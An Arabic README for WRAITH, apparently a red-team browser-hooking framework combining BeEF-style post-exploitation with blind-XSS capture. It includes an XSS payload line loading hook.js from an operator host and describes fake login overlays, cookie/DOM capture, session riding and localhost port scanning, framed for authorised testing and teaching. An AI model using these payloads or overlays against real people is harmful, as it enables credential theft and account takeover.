
إطار عمل لربط المتصفحات مخصص لفرق الاختراق الأخلاقي المصرح لهم والمعلمين. يربط المتصفحات عبر XSS، ويوفر تحكمًا تفاعليًا بعد الاستغلال، والتقاط غنائم XSS العمياء، وتراكبات الهندسة الاجتماعية، ومختبرًا للتدريب العملي.
إطار عمل حديث ومستقل لربط المتصفحات لفرق الاختراق الأخلاقي، وباحثي الأمن، والمعلمين — خليفة نظيف التصميم لأدوات BeEF وأدوات استدعاء blind-XSS التي نعتمد عليها.
للاستخدام المصرح به في الاختبارات الأمنية والبحث والتعليم فقط. WRAITH هو أداة أمن هجومية لعرض واختبار تقنيات التصيد / الرجل في المتصفح / blind-XSS. استخدمه فقط ضد أنظمة وأشخاص لديك تفويض صريح لاختبارهم. أنت مسؤول عن طريقة استخدامك له.

خلال عملنا في Arcanum، كنا نستخدم باستمرار نوعين مختلفين من الأدوات ونتمنى لو كانا شيئًا واحدًا.
من جهة كان BeEF — إطار عمل استغلال المتصفحات — لسير العمل الكلاسيكي اربط متصفحًا، ثم اعمل من داخل جلسته: سجّل ضغطات مفاتيح لصفحة تسجيل دخول مزيفة، استكشف الشبكة المحلية، ادفع وحدة إلى ضحية حية. إنها الأداة التي استخدمناها لجعل مفهوم الرجل في المتصفح حقيقيًا للناس. لكنها تُظهر عمرها، وأجزاء كبيرة منها غير موثوقة في متصفحات اليوم، وطبقات الهندسة الاجتماعية تبدو كصفحات تسجيل دخول من عقد مضى.
من جهة أخرى كانت أدواتنا المفضلة لأطر استدعاء blind-XSS (XSS Hunter، ezXSS): ضع حمولة في حقل، وبمجرد أن تنفجر في مكان لا يمكنك رؤيته، تتصل بالمركز مع الغنيمة — المصدر، ملفات تعريف الارتباط، DOM، لقطة شاشة.
ما كنا نحتاجه بشكل متزايد — خاصة مع تحول المزيد من أهدافنا إلى أنظمة تطبيقات الذكاء الاصطناعي، حيث تتدفق النصوص غير الموثوقة عبر الوكلاء، ومخرجات الأدوات، وقوائم مراجعة المشرفين، ووحدات تحكم الدعم، وتُطلق JavaScript في أماكن لا يراقبها أحد — كان إطار عمل واحدًا يقوم بالأمرين معًا: التحكم التفاعلي المستمر بعد الاستغلال مثل ربط BeEF، و غنيمة استدعاء blind-XSS من نوع أطلق وانسَ، في حمولة واحدة موثوقة في المتصفحات الحالية وتبدو كشاشات تسجيل الدخول الحقيقية اليوم.
لذا بنينا WRAITH.
نحن نطلق WRAITH مبكرًا، وبشكل متعمد. نفضل وضعه في أيدي الأشخاص الذين سيستخدمونه فعليًا — ونسمع ما الذي يتعطل — على الاحتفاظ به حتى "يكتمل".
هذا يعني: توقع حواف خشنة وأخطاء. بعض الوحدات أكثر اختبارًا من غيرها، وسلوك المتصفحات يتغير باستمرار تحتنا (انظر ملاحظات فحص الشبكة أدناه)، وقد تتغير واجهات البرمجة بين الإصدارات. إذا واجهت شيئًا، يرجى فتح مشكلة — خطوات إعادة الإنتاج، المتصفح + الإصدار، وما توقعته هي ذهب. الترحيب بالطلبات تحت شروط المساهمة للمشروع.
أسرع مسار. تحتاج إلى Docker و Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
يرشدك setup.sh خلال كل شيء:
.env مستبعدًا من git (chmod 600)، ويبني ويشغّل الحاوية. وحدة تحكم المشغل : http://YOUR_IP:8090/operator/
صفحة تسجيل الدخول : http://YOUR_IP:8090/login (المستخدم "operator")
صفحة ضحية تجريبية : http://YOUR_IP:8090/demo/
حمولة الربط : http://YOUR_IP:8090/hook.js
حمولة XSS جاهزة للإدراج:
"><script src="http://YOUR_IP:8090/hook.js"></script>
أدره بأوامر compose القياسية:
docker compose logs -f # راقبه
docker compose down # أوقفه (يحتفظ بـ ./data)
./setup.sh # أعد التهيئة (دور كلمة المرور، غيّر العنوان، …)
تستمر الجلسات الملتقطة في ./data/ على المضيف — أبدًا مدمجة في الصورة، أبدًا ملتزمة (.env و data/ مستبعدان من git).
وحدة تحكم المشغل محمية بتسجيل دخول كلما تم تعيين كلمة مرور مشغل، مع تسجيل دخول باسم مستخدم وكلمة مرور:

npm install
npm start
ثم افتح وحدة تحكم المشغل على http://127.0.0.1:3000/operator/ وصفحة الضحية التجريبية على http://127.0.0.1:3000/demo/ (في متصفح/ملف تعريف ثانٍ). على localhost، تسجيل الدخول معطل افتراضيًا للراحة — الخادم يرفض الارتباط بواجهة عامة بدون كلمة مرور مشغل، لذا لا يمكنك كشف لوحة مفتوحة عن طريق الخطأ.
/hook.js حمولة صغيرة. ضعها في أي صفحة تتحكم بها (<script src="/hook.js"></script>) أو سلّمها عبر XSS في هدفك. المتصفح الذي يحمّلها يفتح WebSocket عائدًا إلى المشغل، ويبصم نفسه (المتصفح، نظام التشغيل، IP، الصفحة، UA)، ويعيد الاتصال تلقائيًا، وينجو من التنقل. كل متصفح مربوط يظهر مباشرة في وحدة التحكم، حيث تختار واحدًا وتقوده — لوحة المعلومات الكاملة هي اللقطة الرئيسية في أعلى هذا README: قائمة المتصفحات المربوطة، تفاصيل الهدف، عناصر التحكم في النشر، موجز النشاط الحي، والبيانات المعتمدة الملتقطة.
طبقات تسجيل دخول مزيفة حديثة، تُعرض في shadow DOM معزول بحيث تبدو دقيقة البكسلات على أي صفحة مضيفة وتضبب الصفحة خلفها مثل نافذة إعادة مصادقة حقيقية. تأتي مع LinkedIn و Facebook و Microsoft / Office 365 (بريد إلكتروني → كلمة مرور أصيل من خطوتين).

كل حرف يكتبه الهدف في طبقة يتدفق إلى وحدة التحكم في الوقت الفعلي، والبيانات المعتمدة المُرسلة تصل إلى البيانات المعتمدة الملتقطة — كلها محفوظة بحيث لا يُفقد شيء عند التحديث أو إعادة التشغيل.

لحظة ربط المتصفح، يطلق WRAITH تلقائيًا التقاط الصفحة: بالضبط ما يلتقطه إطار blind-XSS عندما تنفجر حمولتك في مكان لا يمكنك رؤيته — أين انفجرت (المصدر + URL + المُحيل)، ملفات تعريف الارتباط للضحية (غير HttpOnly)، DOM الكامل، ولقطة شاشة. يتم الإبلاغ عن الإخفاقات بصدق، لأنها هي الدرس: ملفات تعريف الارتباط HttpOnly لا تظهر أبدًا، و CSP أو تلويث canvas عبر المصادر يمكن أن يمنع لقطة الشاشة.

هنا يذهب WRAITH أبعد من الأدوات التي يستبدلها. عندما تنجح في XSS أعمى أو ربط في صفحة، تتوقف معظم الأطر عند لقطة شاشة وتفريغ HTML خام — يمكنك رؤية أين انفجرت حمولتك، لكن لا يمكنك فعليًا فعل أي شيء بها.
مرآة الصفحة في WRAITH تحوّل تلك الغنيمة المسدودة إلى عرض حي وقابل للتنقل للتطبيق. افتح الصفحة المربوطة كعرض متصفح حقيقي ومُعرض داخل وحدة تحكم المشغل — ثم انقر الروابط وتنقل عبر التطبيق بصريًا، تمامًا كما تفعل الضحية.

المفتاح: كل تنقل يُجلب عبر المتصفح المربوط، لذا يركب جلسة الضحية وثقة نفس المصدر. أي صفحة أو نقطة نهاية أو ميزة يمكن لجلسة الضحية الوصول إليها، يمكنك الوصول إليها أيضًا — بما في ذلك الصفحات المحمية خلف ملف تعريف ارتباط جلسة مصادق لا تراه أبدًا (ولكونه HttpOnly، لا يمكنك سرقته صراحةً أبدًا).
في المثال أدناه، نبدأ من قائمة تذاكر وكيل دعم وننقر مباشرة إلى خزنة بيانات معتمدة داخلية — صفحة لا تُحل إلا داخل جلسة وكيل مصادق. لا بيانات معتمدة مُصطادة، ولا ملف تعريف ارتباط مسروق: ببساطة ركبنا جلسة الضحية إليها.

القراءات عبر المصادر ما زالت تفشل بالتصميم (سياسة نفس المصدر قائمة) — مدى المرآة هو بالضبط مدى الضحية، لا أكثر ولا أقل. تلك الحدود هي نفسها جزء من الدرس.
كتالوج بأسلوب XSS-Hunter لسلاسل حقن جاهزة للإطلاق لكل سياق (HTML، كسر السمات، إغلاق الوسوم، معالجات الأحداث، سياق JavaScript، روابط javascript:، jQuery)، كل منها معبأ تلقائيًا برابط الربط الخاص بك وقابل للنسخ بنقرة واحدة.

يستخدم المتصفح المربوط كوسيط لبصمة خدمات الضحية المحلية. إنها قناة جانبية توقيتية، أعيد بناؤها للمتصفحات الحالية — الافتراضي الموثوق هو فحص 127.0.0.1 معاير باستخدام بدائيين مستقلين (توقيت fetch و WebSocket، طريقة check.js الحرفية من eBay). أوضاع LAN مضمّنة لكن موسومة بصدق، لأن Chrome 142+ Local Network Access يقيّدها الآن (انظر أدناه).
"مكتب دعم" معرض للخطر عمدًا في /lab مع حفرة XSS مخزنة، بحيث يمكنك عرض السلسلة كاملة من البداية للنهاية، بنفس المصدر: أرسل تذكرة خبيثة → "وكيل" يراجع قائمة الانتظار وتنفجر الحمولة (لحظة blind-XSS) → مرآة الصفحة للوكيل المربوط واسحب الخزنة المحمية بجلسة. غير آمن عمدًا بالتصميم، مع أعلام مزروعة.

تنفجر الحمولة لحظة تحميلها، تمامًا مثل حمولة blind-XSS موضوعة في حقل مخزن يُعرض لاحقًا في سياق مشرف/دعم/سجل/وكيل لا يمكنك رؤيته. الدروس تظهر مباشرة في البيانات:
لمختبر دون اتصال، استضف html2canvas ذاتيًا — انظر public/vendor/README.md.
لا يمكن لـ JavaScript قراءة الاستجابات عبر المصادر، لكن يمكنها بدء طلب ومشاهدة كيف يفشل ومدى سرعته، مما يكشف حالة المنفذ. أعيد بناء الوحدة حول ما يعمل في المتصفحات الحالية (2025–2026)، لأن مسح LAN القديم من عصر BeEF أصبح ميتًا الآن.
الواقع الحديث: Chrome 142+ (أكتوبر 2025) أطلق Local Network Access (LNA)، الذي يقيّد الطلبات إلى النطاقات الخاصة (10.x / 172.16.x / 192.168.x) خلف مطالبة إذن. مسح LAN الأعمى لم يعد يصل إلى الشبكة. لكن loopback (127.0.0.1) ما زال قابلًا للوصول، وفحصه هو الهجوم الواقعي — eBay و Best Buy وآخرون ضُبطوا وهم يفحصون منافذ localhost للزوار لبصمة الخدمات المحلية وأدوات الوصول عن بُعد.
لذا للوحدة ثلاثة أوضاع:
127.0.0.1 معاير يختبر كل منفذ بتوقيت fetch و توقيت WebSocket، ويتعلم خط الأساس RST لهذا الجهاز أولًا، ثم يعلّم أي شيء يُحل أو يعلق أو يعمل أبطأ كـ مفتوح، ويسمي الخدمة المحتملة، ويظهر ما إذا كان fetch أو ws أو كلاهما متفقين. يعمل في Chrome و Firefox اليوم.| BeEF | WRAITH |
|---|---|
hook.js + استطلاع XHR | public/hook.js + WebSocket (حي، موثوق) |
| خادم Ruby + واجهة RESTful | server.js (Node + ws) |
| لوحة المتصفحات المتصلة/غير المتصلة | وحدة تحكم المشغل "المتصفحات المربوطة" |
| وحدة Pretty Theft | طبقات modules/*.js (LinkedIn/Facebook/Microsoft حديثة) |
| اكتشاف الشبكة / ماسح المنافذ | modules/portscan.js (معاير، للمتصفحات الحالية) |
| نتائج الأوامر | ضغطات مفاتيح حية + بيانات معتمدة ملتقطة + نتائج الفحص |
| (لا مقابل) | التقاط الصفحة (غنيمة blind-XSS) + مرآة الصفحة (تنقل في التطبيق) |
هذه الأدوات تعيش في مراحل مختلفة من الهجوم وتستغل سياقات ثقة مختلفة. إنها متكاملة، وتتسلسل معًا.
| WRAITH / BeEF | أطر blind-XSS (XSS Hunter، ezXSS) | وكلاء AiTM (Evilginx، EvilGoPhish، Modlishka) | |
|---|---|---|---|
| ما هو | رجل في المتصفح بعد الاستغلال C2 (+ غنيمة blind-XSS) | اكتشاف + إثبات XSS مع استطلاع لمرة واحدة | وسيط خصم وكيل عكسي |
| المتطلب المسبق | لديك بالفعل JS يعمل في الصفحة | نفسه: حمولتك تنفذ في مكان لا يمكنك رؤيته | الضحية تنقر رابطًا وتسجل الدخول على نطاقك المشابه |
| الأصل الذي يستغله | جلسة الضحية الحقيقية / الأصل الحقيقي | أصل التطبيق المعرض للخطر | نطاق مهاجم منفصل يوكّل الموقع الحقيقي |
| ما تلتقطه | بيانات معتمدة + ضغطات مفاتيح + استطلاع + غنيمة blind-XSS + تنقل في التطبيق عبر مرآة الصفحة | "انفجرت، وهذه هي": DOM، ملفات تعريف الارتباط، لقطة شاشة، الأصل | بيانات معتمدة حقيقية ورمز جلسة ما بعد MFA |
| يتغلب على MFA؟ | لا — اصطدت بيانات معتمدة ثابتة | فقط إذا ركب جلسة مصادقة حية داخل الصفحة | نعم — سرقة ملف تعريف ارتباط الجلسة بعد المصادقة هو الهدف |
التمييز الصادق للتدريس: تصيد طبقتنا يجمع ما يكتبه المستخدم — لا يلتقط جلسة حقيقية ولا يتغلب على MFA. لهذا تحديدًا هو تباين رائع، ولهذا انتقلت الصناعة إلى مصادقة مقاومة للتصيد مرتبطة بالأصل (FIDO2 / WebAuthn / passkeys). سلسلة قتل واقعية تستخدم الثلاثة: blind XSS يجد وينفذ الكود، ربط WRAITH يعطي تحكمًا تفاعليًا داخل الجلسة (وعبر مرآة الصفحة، يصل لوظائف التطبيق مباشرة)، وإعادة توجيه يمكن أن توجه الضحية إلى تدفق Evilginx لجلسة حقيقية مجتازة MFA.
كل شيء مدفوع بمتغيرات البيئة؛ نفس البناء يعمل في أي مكان لأن hook.js يستمد رابط الاستدعاء الخاص به من حيثما خُدم. يكتب setup.sh هذه في .env.
| متغير البيئة | الافتراضي | الغرض |
|---|---|---|
WRAITH_HOST | 127.0.0.1 | واجهة الربط (0.0.0.0 للكشف؛ مفروض في Docker) |
WRAITH_PORT | 3000 | منفذ HTTP + WebSocket (setup.sh الافتراضي 8090) |
WRAITH_PUBLIC_URL | (مشتق) | IP/النطاق الخاص بك، يُستخدم لطباعة روابط الربط الصحيحة |
WRAITH_OP_USER | (فارغ) | اسم مستخدم تسجيل دخول المشغل (اختياري؛ setup.sh يحدد واحدًا) |
WRAITH_OP_PASSWORD | (فارغ) | كلمة مرور تسجيل دخول المشغل؛ مطلوبة للربط علنًا |
WRAITH_SECRET | (عشوائي/إقلاع) | يوقع ملفات تعريف ارتباط الجلسة؛ اضبطه للحفاظ على تسجيلات الدخول عبر عمليات إعادة التشغيل |
WRAITH_SESSION_HOURS | 12 | عمر جلسة المشغل |
WRAITH_AUTOCAPTURE | 1 | إطلاق التقاط الصفحة تلقائيًا عند الربط (0 = يدوي، بأسلوب BeEF) |
ملف تعريف ارتباط جلسة HttpOnly موقع يغطي كلًا من اللوحة و WebSocket الحي. حمولة الربط والصفحة التجريبية وقناة /ws/hook تبقى عامة بحيث يمكن للضحايا الوصول إليها. كضمانة أمان، الخادم يرفض الارتباط بواجهة عامة ما لم تُعيّن كلمة مرور.
لنشر على جهاز فعلي / systemd بدل Docker، انظر deploy/DEPLOY.md.
server.js خادم C2 (HTTP + WS، دورين حسب المسار)
config.js إعداد مدفوع بمتغيرات البيئة
store.js مخزن جلسات/غنائم دائم (data/sessions.json)
lab.js مختبر تدريب معرض للخطر عمدًا (/lab)
public/hook.js الحمولة
public/demo/ صفحة هبوط "ضحية" غير ضارة
public/operator/ وحدة تحكم المشغل (GUI + كتالوج الحمولات)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + سجل
public/vendor/ مكتبات اختيارية مستضافة ذاتيًا (html2canvas للقطات دون اتصال)
setup.sh مثبت Docker تفاعلي
Dockerfile / docker-compose.yml
deploy/ بديل systemd لجهاز فعلي
docs/screenshots/ الصور المستخدمة في هذا README
WRAITH هو © 2026 Arcanum Information Security، مُطلق تحت رخصة Apache 2.0.
أنت حر في استخدامه وتعديله وإعادة توزيعه — بما في ذلك في تدريبك الخاص — لكن يجب عليك الاحتفاظ بالإسناد: احتفظ بملفي LICENSE و NOTICE وإشعار حقوق النشر الخاص بـ Arcanum في أي شيء توزعه أو تفرعه، واذكر أي تغييرات أجريتها (Apache-2.0 §4). انظر NOTICE. لا تمنح الرخصة استخدام اسم أو علامات Arcanum بما يتجاوز وصف مصدر الكود.
بُني بـ ❤️ بواسطة Arcanum — https://arcanum-sec.com